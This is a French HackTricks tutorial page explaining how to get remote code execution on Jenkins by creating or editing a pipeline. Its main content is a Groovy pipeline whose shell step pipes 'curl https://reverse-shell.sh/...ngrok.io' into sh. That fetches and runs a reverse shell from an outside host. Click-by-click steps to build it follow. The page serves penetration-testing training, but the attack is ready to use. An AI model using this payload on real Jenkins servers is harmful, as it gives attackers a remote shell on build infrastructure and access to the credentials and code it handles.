Jenkins RCE Création/Modification de Pipeline

Reading time: 2 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Création d'un nouveau Pipeline

Dans "Nouvel élément" (accessible à /view/all/newJob), sélectionnez Pipeline :

Dans la section Pipeline, écrivez le reverse shell :

groovy
pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

Enfin, cliquez sur Save, puis sur Build Now et le pipeline sera exécuté :

Modifier un Pipeline

Si vous pouvez accéder au fichier de configuration d'un pipeline configuré, vous pouvez simplement le modifier en ajoutant votre reverse shell puis l'exécuter ou attendre qu'il soit exécuté.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks